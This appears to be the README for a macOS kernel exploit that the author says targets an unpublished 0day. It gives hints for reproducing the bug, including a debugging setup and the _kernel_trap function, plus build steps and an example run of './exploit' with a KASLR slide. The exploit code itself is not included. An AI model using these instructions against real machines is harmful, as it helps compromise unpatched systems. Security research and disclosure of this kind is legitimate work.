macOS Kernel Exploit for CVE-????-???? (currently a 0day. I'll add the CVE# once it is published ;) ).

Thanks to @LinusHenze for this cool bug and his support ;P.

Writeup

Probably coming soon. If you want to try and exploit it yourself, here are a few things to get you started:

VM: Download the macOS installer from the appstore and drag the .app file into VMWare's NEW VM window
Kernel Debugging setup: http://ddeville.me/2015/08/using-the-vmware-fusion-gdb-stub-for-kernel-debugging-with-lldb
Have a look at the _kernel_trap function

Build

You will need XCODE <= 9.4.1 to build the exploit. (It needs to be 32bit)

make

Execution

./exploit <KASLR slide>

NOTE: a KASLR leak is required in order for the exploit to do more that just freezing the system so it's not that bad :)

Example:

[debug@Kernel-Mac Shared ]$ ./exploit 0x1600000
